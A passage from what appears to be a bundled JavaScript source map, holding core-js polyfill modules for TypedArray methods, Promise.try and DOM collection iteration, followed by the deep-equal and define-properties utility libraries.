`Symbol.toPrimitive` well-known symbol\n// https://tc39.es/ecma262/#sec-symbol.toprimitive\ndefineWellKnownSymbol('toPrimitive');\n","'use strict';\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $ArrayCopyWithin = require('../internals/array-copy-within');\n\nvar u$ArrayCopyWithin = uncurryThis($ArrayCopyWithin);\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.copyWithin` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.copywithin\nexportTypedArrayMethod('copyWithin', function copyWithin(target, start /* , end */) {\n return u$ArrayCopyWithin(aTypedArray(this), target, start, arguments.length > 2 ? arguments[2] : undefined);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $every = require('../internals/array-iteration').every;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.every` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.every\nexportTypedArrayMethod('every', function every(callbackfn /* , thisArg */) {\n return $every(aTypedArray(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar call = require('../internals/function-call');\nvar $fill = require('../internals/array-fill');\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.fill` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.fill\nexportTypedArrayMethod('fill', function fill(value /* , start, end */) {\n var length = arguments.length;\n return call(\n $fill,\n aTypedArray(this),\n value,\n length > 1 ? arguments[1] : undefined,\n length > 2 ? arguments[2] : undefined\n );\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $filter = require('../internals/array-iteration').filter;\nvar fromSpeciesAndList = require('../internals/typed-array-from-species-and-list');\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.filter` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.filter\nexportTypedArrayMethod('filter', function filter(callbackfn /* , thisArg */) {\n var list = $filter(aTypedArray(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);\n return fromSpeciesAndList(this, list);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $findIndex = require('../internals/array-iteration').findIndex;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.findIndex` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.findindex\nexportTypedArrayMethod('findIndex', function findIndex(predicate /* , thisArg */) {\n return $findIndex(aTypedArray(this), predicate, arguments.length > 1 ? arguments[1] : undefined);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $find = require('../internals/array-iteration').find;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.find` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.find\nexportTypedArrayMethod('find', function find(predicate /* , thisArg */) {\n return $find(aTypedArray(this), predicate, arguments.length > 1 ? arguments[1] : undefined);\n});\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Float32Array` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Float32', function (init) {\n return function Float32Array(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n});\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Float64Array` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Float64', function (init) {\n return function Float64Array(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $forEach = require('../internals/array-iteration').forEach;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.forEach` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.foreach\nexportTypedArrayMethod('forEach', function forEach(callbackfn /* , thisArg */) {\n $forEach(aTypedArray(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);\n});\n","'use strict';\nvar TYPED_ARRAYS_CONSTRUCTORS_REQUIRES_WRAPPERS = require('../internals/typed-array-constructors-require-wrappers');\nvar exportTypedArrayStaticMethod = require('../internals/array-buffer-view-core').exportTypedArrayStaticMethod;\nvar typedArrayFrom = require('../internals/typed-array-from');\n\n// `%TypedArray%.from` method\n// https://tc39.es/ecma262/#sec-%typedarray%.from\nexportTypedArrayStaticMethod('from', typedArrayFrom, TYPED_ARRAYS_CONSTRUCTORS_REQUIRES_WRAPPERS);\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $includes = require('../internals/array-includes').includes;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.includes` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.includes\nexportTypedArrayMethod('includes', function includes(searchElement /* , fromIndex */) {\n return $includes(aTypedArray(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $indexOf = require('../internals/array-includes').indexOf;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.indexOf` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.indexof\nexportTypedArrayMethod('indexOf', function indexOf(searchElement /* , fromIndex */) {\n return $indexOf(aTypedArray(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);\n});\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Int16Array` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Int16', function (init) {\n return function Int16Array(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n});\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Int32Array` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Int32', function (init) {\n return function Int32Array(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n});\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Int8Array` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Int8', function (init) {\n return function Int8Array(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n});\n","'use strict';\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar PROPER_FUNCTION_NAME = require('../internals/function-name').PROPER;\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar ArrayIterators = require('../modules/es.array.iterator');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar ITERATOR = wellKnownSymbol('iterator');\nvar Uint8Array = global.Uint8Array;\nvar arrayValues = uncurryThis(ArrayIterators.values);\nvar arrayKeys = uncurryThis(ArrayIterators.keys);\nvar arrayEntries = uncurryThis(ArrayIterators.entries);\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\nvar nativeTypedArrayIterator = Uint8Array && Uint8Array.prototype[ITERATOR];\n\nvar PROPER_ARRAY_VALUES_NAME = !!nativeTypedArrayIterator && nativeTypedArrayIterator.name === 'values';\n\nvar typedArrayValues = function values() {\n return arrayValues(aTypedArray(this));\n};\n\n// `%TypedArray%.prototype.entries` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.entries\nexportTypedArrayMethod('entries', function entries() {\n return arrayEntries(aTypedArray(this));\n});\n// `%TypedArray%.prototype.keys` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.keys\nexportTypedArrayMethod('keys', function keys() {\n return arrayKeys(aTypedArray(this));\n});\n// `%TypedArray%.prototype.values` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.values\nexportTypedArrayMethod('values', typedArrayValues, PROPER_FUNCTION_NAME && !PROPER_ARRAY_VALUES_NAME);\n// `%TypedArray%.prototype[@@iterator]` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype-@@iterator\nexportTypedArrayMethod(ITERATOR, typedArrayValues, PROPER_FUNCTION_NAME && !PROPER_ARRAY_VALUES_NAME);\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar uncurryThis = require('../internals/function-uncurry-this');\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\nvar $join = uncurryThis([].join);\n\n// `%TypedArray%.prototype.join` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.join\nexportTypedArrayMethod('join', function join(separator) {\n return $join(aTypedArray(this), separator);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar apply = require('../internals/function-apply');\nvar $lastIndexOf = require('../internals/array-last-index-of');\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.lastIndexOf` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.lastindexof\nexportTypedArrayMethod('lastIndexOf', function lastIndexOf(searchElement /* , fromIndex */) {\n var length = arguments.length;\n return apply($lastIndexOf, aTypedArray(this), length > 1 ? [searchElement, arguments[1]] : [searchElement]);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $map = require('../internals/array-iteration').map;\nvar typedArraySpeciesConstructor = require('../internals/typed-array-species-constructor');\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.map` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.map\nexportTypedArrayMethod('map', function map(mapfn /* , thisArg */) {\n return $map(aTypedArray(this), mapfn, arguments.length > 1 ? arguments[1] : undefined, function (O, length) {\n return new (typedArraySpeciesConstructor(O))(length);\n });\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $reduceRight = require('../internals/array-reduce').right;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.reduceRicht` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.reduceright\nexportTypedArrayMethod('reduceRight', function reduceRight(callbackfn /* , initialValue */) {\n var length = arguments.length;\n return $reduceRight(aTypedArray(this), callbackfn, length, length > 1 ? arguments[1] : undefined);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $reduce = require('../internals/array-reduce').left;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.reduce` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.reduce\nexportTypedArrayMethod('reduce', function reduce(callbackfn /* , initialValue */) {\n var length = arguments.length;\n return $reduce(aTypedArray(this), callbackfn, length, length > 1 ? arguments[1] : undefined);\n});\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\nvar floor = Math.floor;\n\n// `%TypedArray%.prototype.reverse` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.reverse\nexportTypedArrayMethod('reverse', function reverse() {\n var that = this;\n var length = aTypedArray(that).length;\n var middle = floor(length / 2);\n var index = 0;\n var value;\n while (index < middle) {\n value = that[index];\n that[index++] = that[--length];\n that[length] = value;\n } return that;\n});\n","'use strict';\nvar global = require('../internals/global');\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar lengthOfArrayLike = require('../internals/length-of-array-like');\nvar toOffset = require('../internals/to-offset');\nvar toObject = require('../internals/to-object');\nvar fails = require('../internals/fails');\n\nvar RangeError = global.RangeError;\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\nvar FORCED = fails(function () {\n // eslint-disable-next-line es/no-typed-arrays -- required for testing\n new Int8Array(1).set({});\n});\n\n// `%TypedArray%.prototype.set` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.set\nexportTypedArrayMethod('set', function set(arrayLike /* , offset */) {\n aTypedArray(this);\n var offset = toOffset(arguments.length > 1 ? arguments[1] : undefined, 1);\n var length = this.length;\n var src = toObject(arrayLike);\n var len = lengthOfArrayLike(src);\n var index = 0;\n if (len + offset > length) throw RangeError('Wrong length');\n while (index < len) this[offset + index] = src[index++];\n}, FORCED);\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar typedArraySpeciesConstructor = require('../internals/typed-array-species-constructor');\nvar fails = require('../internals/fails');\nvar arraySlice = require('../internals/array-slice');\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\nvar FORCED = fails(function () {\n // eslint-disable-next-line es/no-typed-arrays -- required for testing\n new Int8Array(1).slice();\n});\n\n// `%TypedArray%.prototype.slice` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.slice\nexportTypedArrayMethod('slice', function slice(start, end) {\n var list = arraySlice(aTypedArray(this), start, end);\n var C = typedArraySpeciesConstructor(this);\n var index = 0;\n var length = list.length;\n var result = new C(length);\n while (length > index) result[index] = list[index++];\n return result;\n}, FORCED);\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar $some = require('../internals/array-iteration').some;\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.some` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.some\nexportTypedArrayMethod('some', function some(callbackfn /* , thisArg */) {\n return $some(aTypedArray(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);\n});\n","'use strict';\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\nvar fails = require('../internals/fails');\nvar aCallable = require('../internals/a-callable');\nvar internalSort = require('../internals/array-sort');\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar FF = require('../internals/engine-ff-version');\nvar IE_OR_EDGE = require('../internals/engine-is-ie-or-edge');\nvar V8 = require('../internals/engine-v8-version');\nvar WEBKIT = require('../internals/engine-webkit-version');\n\nvar Array = global.Array;\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\nvar Uint16Array = global.Uint16Array;\nvar un$Sort = Uint16Array && uncurryThis(Uint16Array.prototype.sort);\n\n// WebKit\nvar ACCEPT_INCORRECT_ARGUMENTS = !!un$Sort && !(fails(function () {\n un$Sort(new Uint16Array(2), null);\n}) && fails(function () {\n un$Sort(new Uint16Array(2), {});\n}));\n\nvar STABLE_SORT = !!un$Sort && !fails(function () {\n // feature detection can be too slow, so check engines versions\n if (V8) return V8 < 74;\n if (FF) return FF < 67;\n if (IE_OR_EDGE) return true;\n if (WEBKIT) return WEBKIT < 602;\n\n var array = new Uint16Array(516);\n var expected = Array(516);\n var index, mod;\n\n for (index = 0; index < 516; index++) {\n mod = index % 4;\n array[index] = 515 - index;\n expected[index] = index - 2 * mod + 3;\n }\n\n un$Sort(array, function (a, b) {\n return (a / 4 | 0) - (b / 4 | 0);\n });\n\n for (index = 0; index < 516; index++) {\n if (array[index] !== expected[index]) return true;\n }\n});\n\nvar getSortCompare = function (comparefn) {\n return function (x, y) {\n if (comparefn !== undefined) return +comparefn(x, y) || 0;\n // eslint-disable-next-line no-self-compare -- NaN check\n if (y !== y) return -1;\n // eslint-disable-next-line no-self-compare -- NaN check\n if (x !== x) return 1;\n if (x === 0 && y === 0) return 1 / x > 0 && 1 / y < 0 ? 1 : -1;\n return x > y;\n };\n};\n\n// `%TypedArray%.prototype.sort` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.sort\nexportTypedArrayMethod('sort', function sort(comparefn) {\n if (comparefn !== undefined) aCallable(comparefn);\n if (STABLE_SORT) return un$Sort(this, comparefn);\n\n return internalSort(aTypedArray(this), getSortCompare(comparefn));\n}, !STABLE_SORT || ACCEPT_INCORRECT_ARGUMENTS);\n","'use strict';\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar toLength = require('../internals/to-length');\nvar toAbsoluteIndex = require('../internals/to-absolute-index');\nvar typedArraySpeciesConstructor = require('../internals/typed-array-species-constructor');\n\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\n\n// `%TypedArray%.prototype.subarray` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.subarray\nexportTypedArrayMethod('subarray', function subarray(begin, end) {\n var O = aTypedArray(this);\n var length = O.length;\n var beginIndex = toAbsoluteIndex(begin, length);\n var C = typedArraySpeciesConstructor(O);\n return new C(\n O.buffer,\n O.byteOffset + beginIndex * O.BYTES_PER_ELEMENT,\n toLength((end === undefined ? length : toAbsoluteIndex(end, length)) - beginIndex)\n );\n});\n","'use strict';\nvar global = require('../internals/global');\nvar apply = require('../internals/function-apply');\nvar ArrayBufferViewCore = require('../internals/array-buffer-view-core');\nvar fails = require('../internals/fails');\nvar arraySlice = require('../internals/array-slice');\n\nvar Int8Array = global.Int8Array;\nvar aTypedArray = ArrayBufferViewCore.aTypedArray;\nvar exportTypedArrayMethod = ArrayBufferViewCore.exportTypedArrayMethod;\nvar $toLocaleString = [].toLocaleString;\n\n// iOS Safari 6.x fails here\nvar TO_LOCALE_STRING_BUG = !!Int8Array && fails(function () {\n $toLocaleString.call(new Int8Array(1));\n});\n\nvar FORCED = fails(function () {\n return [1, 2].toLocaleString() != new Int8Array([1, 2]).toLocaleString();\n}) || !fails(function () {\n Int8Array.prototype.toLocaleString.call([1, 2]);\n});\n\n// `%TypedArray%.prototype.toLocaleString` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.tolocalestring\nexportTypedArrayMethod('toLocaleString', function toLocaleString() {\n return apply(\n $toLocaleString,\n TO_LOCALE_STRING_BUG ? arraySlice(aTypedArray(this)) : aTypedArray(this),\n arraySlice(arguments)\n );\n}, FORCED);\n","'use strict';\nvar exportTypedArrayMethod = require('../internals/array-buffer-view-core').exportTypedArrayMethod;\nvar fails = require('../internals/fails');\nvar global = require('../internals/global');\nvar uncurryThis = require('../internals/function-uncurry-this');\n\nvar Uint8Array = global.Uint8Array;\nvar Uint8ArrayPrototype = Uint8Array && Uint8Array.prototype || {};\nvar arrayToString = [].toString;\nvar join = uncurryThis([].join);\n\nif (fails(function () { arrayToString.call({}); })) {\n arrayToString = function toString() {\n return join(this);\n };\n}\n\nvar IS_NOT_ARRAY_METHOD = Uint8ArrayPrototype.toString != arrayToString;\n\n// `%TypedArray%.prototype.toString` method\n// https://tc39.es/ecma262/#sec-%typedarray%.prototype.tostring\nexportTypedArrayMethod('toString', arrayToString, IS_NOT_ARRAY_METHOD);\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Uint16Array` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Uint16', function (init) {\n return function Uint16Array(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n});\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Uint32Array` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Uint32', function (init) {\n return function Uint32Array(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n});\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Uint8Array` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Uint8', function (init) {\n return function Uint8Array(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n});\n","var createTypedArrayConstructor = require('../internals/typed-array-constructor');\n\n// `Uint8ClampedArray` constructor\n// https://tc39.es/ecma262/#sec-typedarray-objects\ncreateTypedArrayConstructor('Uint8', function (init) {\n return function Uint8ClampedArray(data, byteOffset, length) {\n return init(this, data, byteOffset, length);\n };\n}, true);\n","// TODO: Remove from `core-js@4`\nrequire('../modules/es.aggregate-error');\n","// TODO: Remove from `core-js@4`\nrequire('../modules/es.global-this');\n","// TODO: Remove from `core-js@4`\nrequire('../modules/es.promise.all-settled.js');\n","// TODO: Remove from `core-js@4`\nrequire('../modules/es.promise.any');\n","'use strict';\nvar $ = require('../internals/export');\nvar newPromiseCapabilityModule = require('../internals/new-promise-capability');\nvar perform = require('../internals/perform');\n\n// `Promise.try` method\n// https://github.com/tc39/proposal-promise-try\n$({ target: 'Promise', stat: true }, {\n 'try': function (callbackfn) {\n var promiseCapability = newPromiseCapabilityModule.f(this);\n var result = perform(callbackfn);\n (result.error ? promiseCapability.reject : promiseCapability.resolve)(result.value);\n return promiseCapability.promise;\n }\n});\n","// TODO: Remove from `core-js@4`\nrequire('../modules/es.string.match-all');\n","var global = require('../internals/global');\nvar DOMIterables = require('../internals/dom-iterables');\nvar DOMTokenListPrototype = require('../internals/dom-token-list-prototype');\nvar forEach = require('../internals/array-for-each');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\n\nvar handlePrototype = function (CollectionPrototype) {\n // some Chrome versions have non-configurable methods on DOMTokenList\n if (CollectionPrototype && CollectionPrototype.forEach !== forEach) try {\n createNonEnumerableProperty(CollectionPrototype, 'forEach', forEach);\n } catch (error) {\n CollectionPrototype.forEach = forEach;\n }\n};\n\nfor (var COLLECTION_NAME in DOMIterables) {\n if (DOMIterables[COLLECTION_NAME]) {\n handlePrototype(global[COLLECTION_NAME] && global[COLLECTION_NAME].prototype);\n }\n}\n\nhandlePrototype(DOMTokenListPrototype);\n","var global = require('../internals/global');\nvar DOMIterables = require('../internals/dom-iterables');\nvar DOMTokenListPrototype = require('../internals/dom-token-list-prototype');\nvar ArrayIteratorMethods = require('../modules/es.array.iterator');\nvar createNonEnumerableProperty = require('../internals/create-non-enumerable-property');\nvar wellKnownSymbol = require('../internals/well-known-symbol');\n\nvar ITERATOR = wellKnownSymbol('iterator');\nvar TO_STRING_TAG = wellKnownSymbol('toStringTag');\nvar ArrayValues = ArrayIteratorMethods.values;\n\nvar handlePrototype = function (CollectionPrototype, COLLECTION_NAME) {\n if (CollectionPrototype) {\n // some Chrome versions have non-configurable methods on DOMTokenList\n if (CollectionPrototype[ITERATOR] !== ArrayValues) try {\n createNonEnumerableProperty(CollectionPrototype, ITERATOR, ArrayValues);\n } catch (error) {\n CollectionPrototype[ITERATOR] = ArrayValues;\n }\n if (!CollectionPrototype[TO_STRING_TAG]) {\n createNonEnumerableProperty(CollectionPrototype, TO_STRING_TAG, COLLECTION_NAME);\n }\n if (DOMIterables[COLLECTION_NAME]) for (var METHOD_NAME in ArrayIteratorMethods) {\n // some Chrome versions have non-configurable methods on DOMTokenList\n if (CollectionPrototype[METHOD_NAME] !== ArrayIteratorMethods[METHOD_NAME]) try {\n createNonEnumerableProperty(CollectionPrototype, METHOD_NAME, ArrayIteratorMethods[METHOD_NAME]);\n } catch (error) {\n CollectionPrototype[METHOD_NAME] = ArrayIteratorMethods[METHOD_NAME];\n }\n }\n }\n};\n\nfor (var COLLECTION_NAME in DOMIterables) {\n handlePrototype(global[COLLECTION_NAME] && global[COLLECTION_NAME].prototype, COLLECTION_NAME);\n}\n\nhandlePrototype(DOMTokenListPrototype, 'DOMTokenList');\n","'use strict';\nvar $ = require('../internals/export');\nvar call = require('../internals/function-call');\n\n// `URL.prototype.toJSON` method\n// https://url.spec.whatwg.org/#dom-url-tojson\n$({ target: 'URL', proto: true, enumerable: true }, {\n toJSON: function toJSON() {\n return call(URL.prototype.toString, this);\n }\n});\n","var parent = require('../../es/promise');\nrequire('../../modules/web.dom-collections.iterator');\n\nmodule.exports = parent;\n","var objectKeys = require('object-keys');\nvar isArguments = require('is-arguments');\nvar is = require('object-is');\nvar isRegex = require('is-regex');\nvar flags = require('regexp.prototype.flags');\nvar isDate = require('is-date-object');\n\nvar getTime = Date.prototype.getTime;\n\nfunction deepEqual(actual, expected, options) {\n var opts = options || {};\n\n // 7.1. All identical values are equivalent, as determined by ===.\n if (opts.strict ? is(actual, expected) : actual === expected) {\n return true;\n }\n\n // 7.3. Other pairs that do not both pass typeof value == 'object', equivalence is determined by ==.\n if (!actual || !expected || (typeof actual !== 'object' && typeof expected !== 'object')) {\n return opts.strict ? is(actual, expected) : actual == expected;\n }\n\n /*\n * 7.4. For all other Object pairs, including Array objects, equivalence is\n * determined by having the same number of owned properties (as verified\n * with Object.prototype.hasOwnProperty.call), the same set of keys\n * (although not necessarily the same order), equivalent values for every\n * corresponding key, and an identical 'prototype' property. Note: this\n * accounts for both named and indexed properties on Arrays.\n */\n // eslint-disable-next-line no-use-before-define\n return objEquiv(actual, expected, opts);\n}\n\nfunction isUndefinedOrNull(value) {\n return value === null || value === undefined;\n}\n\nfunction isBuffer(x) {\n if (!x || typeof x !== 'object' || typeof x.length !== 'number') {\n return false;\n }\n if (typeof x.copy !== 'function' || typeof x.slice !== 'function') {\n return false;\n }\n if (x.length > 0 && typeof x[0] !== 'number') {\n return false;\n }\n return true;\n}\n\nfunction objEquiv(a, b, opts) {\n /* eslint max-statements: [2, 50] */\n var i, key;\n if (typeof a !== typeof b) { return false; }\n if (isUndefinedOrNull(a) || isUndefinedOrNull(b)) { return false; }\n\n // an identical 'prototype' property.\n if (a.prototype !== b.prototype) { return false; }\n\n if (isArguments(a) !== isArguments(b)) { return false; }\n\n var aIsRegex = isRegex(a);\n var bIsRegex = isRegex(b);\n if (aIsRegex !== bIsRegex) { return false; }\n if (aIsRegex || bIsRegex) {\n return a.source === b.source && flags(a) === flags(b);\n }\n\n if (isDate(a) && isDate(b)) {\n return getTime.call(a) === getTime.call(b);\n }\n\n var aIsBuffer = isBuffer(a);\n var bIsBuffer = isBuffer(b);\n if (aIsBuffer !== bIsBuffer) { return false; }\n if (aIsBuffer || bIsBuffer) { // && would work too, because both are true or both false here\n if (a.length !== b.length) { return false; }\n for (i = 0; i < a.length; i++) {\n if (a[i] !== b[i]) { return false; }\n }\n return true;\n }\n\n if (typeof a !== typeof b) { return false; }\n\n try {\n var ka = objectKeys(a);\n var kb = objectKeys(b);\n } catch (e) { // happens when one is a string literal and the other isn't\n return false;\n }\n // having the same number of owned properties (keys incorporates hasOwnProperty)\n if (ka.length !== kb.length) { return false; }\n\n // the same set of keys (although not necessarily the same order),\n ka.sort();\n kb.sort();\n // ~~~cheap key test\n for (i = ka.length - 1; i >= 0; i--) {\n if (ka[i] != kb[i]) { return false; }\n }\n // equivalent values for every corresponding key, and ~~~possibly expensive deep test\n for (i = ka.length - 1; i >= 0; i--) {\n key = ka[i];\n if (!deepEqual(a[key], b[key], opts)) { return false; }\n }\n\n return true;\n}\n\nmodule.exports = deepEqual;\n","'use strict';\n\nvar keys = require('object-keys');\nvar hasSymbols = typeof Symbol === 'function' && typeof Symbol('foo') === 'symbol';\n\nvar toStr = Object.prototype.toString;\nvar concat = Array.prototype.concat;\nvar origDefineProperty = Object.defineProperty;\n\nvar isFunction = function (fn) {\n\treturn typeof fn === 'function' && toStr.call(fn) === '[object Function]';\n};\n\nvar arePropertyDescriptorsSupported = function () {\n\tvar obj = {};\n\ttry {\n\t\torigDefineProperty(obj, 'x', { enumerable: false, value: obj });\n\t\t// eslint-disable-next-line no-unused-vars, no-restricted-syntax\n\t\tfor (var _ in obj) { // jscs:ignore disallowUnusedVariables\n\t\t\treturn false;\n\t\t}\n\t\treturn obj.x === obj;\n\t} catch (e) { /* this is IE 8. */\n\t\treturn false;\n\t}\n};\nvar supportsDescriptors = origDefineProperty && arePropertyDescriptorsSupported();\n\nvar defineProperty = function (object, name, value, predicate) {\n\tif (name in object && (!isFunction(predicate) || !predicate())) {\n\t\treturn;\n\t}\n\tif (supportsDescriptors) {\n\t\torigDefineProperty(object, name, {\n\t\t\tconfigurable: true,\n\t\t\tenumerable: false,\n\t\t\tvalue: value,\n\t\t\twritable: true\n\t\t});\n\t} else {\n\t\tobject[name] = value;\n\t}\n};\n\nvar defineProperties = function (object, map) {\n\tvar predicates = arguments.length > 2 ? arguments[2] : {};\n\tvar props = keys(map);\n\tif (hasSymbols) {\n\t\tprops = concat.call(props, Object.getOwnPropertySymbols(map));\n\t}\n\tfor (var i = 0; i 